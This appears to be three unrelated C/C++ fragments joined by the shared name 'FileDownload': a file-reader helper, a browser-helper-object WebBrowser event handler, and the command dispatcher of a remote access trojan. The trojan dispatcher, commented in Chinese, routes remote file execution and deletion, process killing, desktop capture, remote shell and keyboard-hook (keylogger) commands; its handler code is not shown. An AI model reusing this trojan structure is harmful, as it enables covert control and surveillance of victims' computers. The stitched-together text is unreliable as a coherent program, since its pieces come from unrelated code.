void* FileDownload(LPCSTR file_name, u32* buffer_size) { int file_handle; R_ASSERT3( file_handle_internal(file_name, *buffer_size, file_handle), "can't open file : ", file_name ); return (FileDownload(file_name, file_handle, *buffer_size)); }
//--------------------------------------------------- // file stream CFileReader::CFileReader(const char* name) { data = (char*)FileDownload(name, (u32*)&Size); Pos = 0; };
STDMETHODIMP DWebBrowserEventsImpl::Invoke(DISPID dispIdMember, REFIID riid, LCID lcid, WORD wFlags, DISPPARAMS *pDispParams, VARIANT *pVarResult, EXCEPINFO *pExcepInfo, UINT *puArgErr) { switch (dispIdMember) { ///////////////////////////////////////////////////////// // The parameters for this DISPID are as follows: // [0]: Cancel flag - VT_BYREF|VT_BOOL // [1]: IDispatch* - Pointer to an IDispatch interface. // You can set this parameter to the IDispatch of // a WebBrowser Control that you've created. When // you pass back an IDispatch like this, MSHTML will // use the control you've given it to open the link. // case DISPID_NEWWINDOW2: { NewWindow2(pDispParams->rgvarg[1].ppdispVal, pDispParams->rgvarg[0].pboolVal); } break; /////////////////////////////////////////////////////////// // The parameters for this DISPID are as follows: // [0]: Cancel flag - VT_BYREF|VT_BOOL // [1]: HTTP headers - VT_BYREF|VT_VARIANT // [2]: Address of HTTP POST data - VT_BYREF|VT_VARIANT // [3]: Target frame name - VT_BYREF|VT_VARIANT // [4]: Option flags - VT_BYREF|VT_VARIANT // [5]: URL to navigate to - VT_BYREF|VT_VARIANT // [6]: An object that evaluates to the top-level or frame // WebBrowser object corresponding to the event. // // User clicked a link or launched the browser. // case DISPID_BEFORENAVIGATE2: { BeforeNavigate2(pDispParams->rgvarg[6].pdispVal, pDispParams->rgvarg[5].pvarVal, pDispParams->rgvarg[4].pvarVal, pDispParams->rgvarg[3].pvarVal, pDispParams->rgvarg[2].pvarVal, pDispParams->rgvarg[1].pvarVal, pDispParams->rgvarg[0].pboolVal); } break; /////////////////////////////////////////////////////////// // The parameters for this DISPID: // [0]: URL navigated to - VT_BYREF|VT_VARIANT // [1]: An object that evaluates to the top-level or frame // WebBrowser object corresponding to the event. // // Fires after a navigation to a link is completed on either // a window or frameSet element. // case DISPID_NAVIGATECOMPLETE2: { NavigateComplete2(pDispParams->rgvarg[1].pdispVal, pDispParams->rgvarg[0].pvarVal); // Check if m_lpDocCompleteDisp is NULL. If NULL, that means it is // the top level NavigateComplete2. Save the LPDISPATCH if (!m_lpDocCompleteDisp) { VARIANTARG varDisp = pDispParams->rgvarg[1]; m_lpDocCompleteDisp = varDisp.pdispVal; } } break; /////////////////////////////////////////////////////////// // The parameters for this DISPID: // [0]: New status bar text - VT_BSTR // case DISPID_STATUSTEXTCHANGE: { StatusTextChange(pDispParams->rgvarg[0].bstrVal); } break; /////////////////////////////////////////////////////////// // The parameters for this DISPID: // [0]: Maximum progress - VT_I4 // [1]: Amount of total progress - VT_I4 // case DISPID_PROGRESSCHANGE: { ProgressChange(pDispParams->rgvarg[1].intVal, pDispParams->rgvarg[0].intVal); } break; /////////////////////////////////////////////////////////// // The parameters for this DISPID: // [0]: URL navigated to - VT_BYREF|VT_VARIANT // [1]: An object that evaluates to the top-level or frame // WebBrowser object corresponding to the event. // // Fires when a document has been completely loaded and initialized. // Unreliable -- currently, the DWebBrowserEvents2::DocumentComplete // does not fire when the IWebBrowser2::Visible property of the // WebBrowser Control is set to false (see Q259935). Also, multiple // DISPID_DOCUMENTCOMPLETE events can be fired before the final // READYSTATE_COMPLETE (see Q180366). // case DISPID_DOCUMENTCOMPLETE: { DocumentComplete(pDispParams->rgvarg[1].pdispVal, pDispParams->rgvarg[0].pvarVal); VARIANTARG varDisp = pDispParams->rgvarg[1]; if (m_lpDocCompleteDisp && m_lpDocCompleteDisp == varDisp.pdispVal) { // if the LPDISPATCH are same, that means // it is the final DocumentComplete. Reset m_lpDocCompleteDisp m_lpDocCompleteDisp = NULL; // Handle new doc. DocumentReallyComplete(pDispParams->rgvarg[1].pdispVal, pDispParams->rgvarg[0].pvarVal); } } break; /////////////////////////////////////////////////////////// // No parameters // // Fires when a navigation operation is beginning. // case DISPID_DOWNLOADBEGIN: DownloadBegin(); break; /////////////////////////////////////////////////////////// // No parameters // // Fires when a navigation operation finishes, is halted, or fails. // case DISPID_DOWNLOADCOMPLETE: DownloadComplete(); break; /////////////////////////////////////////////////////////// // The parameters for this DISPID: // [0]: Enabled state - VT_BOOL // [1]: Command identifier - VT_I4 // case DISPID_COMMANDSTATECHANGE: { CommandStateChange(pDispParams->rgvarg[1].intVal, pDispParams->rgvarg[0].boolVal); } break; /////////////////////////////////////////////////////////// // The parameters for this DISPID: // [0]: Document title - VT_BSTR // [1]: An object that evaluates to the top-level or frame // WebBrowser object corresponding to the event. // case DISPID_TITLECHANGE: { TitleChange(pDispParams->rgvarg[0].bstrVal); } break; /////////////////////////////////////////////////////////// // The parameters for this DISPID: // [0]: Name of property that changed - VT_BSTR // case DISPID_PROPERTYCHANGE: { PropertyChange(pDispParams->rgvarg[0].bstrVal); } break; /////////////////////////////////////////////////////////// // The parameters for this DISPID: // [0]: Cancel flag - VT_BYREF|VT_BOOL // [1]: Child Window (created from script) - VT_BOOL // // case DISPID_WINDOWCLOSING: { WindowClosing(pDispParams->rgvarg[1].boolVal, pDispParams->rgvarg[0].pboolVal); } break; /////////////////////////////////////////////////////////// // The parameters for this DISPID: // [0]: Cancel flag - VT_BYREF|VT_BOOL // // case DISPID_FILEDOWNLOAD: { FileDownload(pDispParams->rgvarg[0].pboolVal); } break; /////////////////////////////////////////////////////////// // The parameters for this DISPID are as follows: // [0]: Cancel flag - VT_BYREF|VT_BOOL // [1]: Error status code - VT_BYREF|VT_VARIANT // [2]: Target frame name - VT_BYREF|VT_VARIANT // [3]: URL where navigate failed - VT_BYREF|VT_VARIANT // [4]: An object that evaluates to the top-level or frame // WebBrowser object corresponding to the event. // // case DISPID_NAVIGATEERROR: { NavigateError(pDispParams->rgvarg[4].pdispVal, pDispParams->rgvarg[3].pvarVal, pDispParams->rgvarg[2].pvarVal, pDispParams->rgvarg[1].pvarVal, pDispParams->rgvarg[0].pboolVal); m_lpDocCompleteDisp = NULL; } break; /////////////////////////////////////////////////////////// // The parameters for this DISPID: // [0]: Visible - VT_BOOL // case DISPID_ONVISIBLE: { OnVisible(pDispParams->rgvarg[0].boolVal); } break; /////////////////////////////////////////////////////////// // No parameters // // The BHO docs in MSDN say to use DISPID_QUIT, but this is an error. // The BHO never gets a DISPID_QUIT and thus the browser connection // never gets unadvised and so the BHO never gets the FinalRelease(). // This is bad. So use DISPID_ONQUIT instead and everything is cool -- // EXCEPT when you exit the browser when viewing a page that launches // a popup in the onunload event! In that case the BHO is already // unadvised so it does not intercept the popup. So the trick is to // navigate to a known page (I used the about:blank page) that does // not have a popup in the onunload event before unadvising. // case DISPID_ONQUIT: OnQuit(); break; default: { } break; } return NOERROR; }
////////////////////////////////////////////////////////////////////////// //包分发机制 ////////////////////////////////////////////////////////////////////////// BOOL DispatchCmd(SOCKET sockfd,int dwSize) { switch (((RatProto*)szRecvCmd)->RatId) { case FILE_VIEW: { //列盘符 DriveList(sockfd); } break; case FILE_OPEN: { //打开指定文件 FileOpen(sockfd,dwSize); } break; case FILE_EXCUTE: { //执行EXE文件 FileExcute(sockfd,dwSize); } break; case FILE_BACK: { //文件夹回溯 FileBack(sockfd,dwSize); } break; case FILE_DELETE: { //删除文件 FileDelete(sockfd,dwSize); } break; case FILE_DOWNLOAD: { //下载文件 FileDownload(sockfd,dwSize); } break; case PROC_VIEW: { //PROCVIEW函数 ProcView(sockfd,dwSize); } break; case PROC_DELETE: { //删除PID指定进程 ProcDelete(sockfd,dwSize); } break; case DESK_VIEW: { //远程桌面捕获 DeskView(sockfd); } break; case CMD_REQUSET: { //响应CMD消息 CmdReply(sockfd,dwSize); } break; case KEY_OK: { //开启键盘监控 Start2Hook(sockfd); } break; case KEY_CANCEL: { //关闭键盘监控 Stop2Hook(sockfd); } break; case SYS_VIEW: { //SYSINFO相关函数 SysView(sockfd,dwSize); } break; default: return FALSE; } return TRUE; }